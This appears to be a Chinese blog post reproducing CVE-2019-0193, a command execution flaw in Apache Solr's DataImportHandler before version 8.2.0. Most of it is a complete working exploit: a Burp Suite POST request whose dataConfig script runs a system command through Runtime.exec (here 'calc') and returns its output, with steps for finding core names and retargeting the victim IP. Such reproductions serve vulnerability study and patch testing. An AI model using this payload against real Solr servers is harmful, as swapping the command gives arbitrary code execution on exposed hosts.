CVE-2019-0193漏洞復現

0x00 漏洞簡介

　　CVE-2019-0193是一個存在於Apache solr搜索引擎中的命令執行漏洞

　　影響范圍： Apache solr < 8.2.0

　　利用工具： burpsuite

　　環境： java環境

0x01 漏洞原因

　　Apache solr 是一款開源的搜索服務器並且使用java語言開發；主要的工作方式：用戶通過http請求像搜索引擎發出索引條件，solr對條件進行分詞 處理，根據分詞結果查找索引，繼而找到文檔

　　在Apache solr的可選模塊DatalmportHandler中的DIH配置是可以包含腳本，因此存在安全隱患，在apache solr < 8.2.0版本之前DIH配置中dataconfig可以被用戶控制

0x02 漏洞復現

　　下載影響范圍內的Apache solr（我這里用的是7.7.2版本）解壓在cmd運行

 

　　瀏覽器訪問 http://localhost:8983/solr

 

 

　　cmd 命令執行curl http://localhost:8983/solr/admin/cores （或者瀏覽器訪問）可以獲取core信息

 

　　根據獲取的core信息中name信息構造payload

 

 　　payload如下：

POST /solr/your_name/dataimport HTTP/1.1
Host: 192.168.150.164:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.150.164:8983/solr/
Content-type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 1005
Connection: close

command=full-import&verbose=false&clean=false&commit=false&debug=true&core=your_name&name=dataimport&dataConfig=<dataConfig>

  <dataSource type="URLDataSource"/>
  <script><![CDATA[

          function poc(row){

 var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("calc").getInputStream()));

var result = [];

while(true) {
var oneline = bufReader.readLine();
result.push( oneline );
if(!oneline) break;
}

row.put("title",result.join("\n\r"));

return row;

}


  ]]></script>

        <document>
             <entity name="entity1"
                     url="https://raw.githubusercontent.com/1135/solr_exploit/master/URLDataSource/demo.xml"
                     processor="XPathEntityProcessor"
                     forEach="/RDF/item"
                     transformer="script:poc">
                        <field column="title" xpath="/RDF/item/title" />
             </entity>
        </document>
</dataConfig>

　　分別將代碼中的your_name改為core信息中的‘atom’，改為靶機IP 利用burpsuite發送即可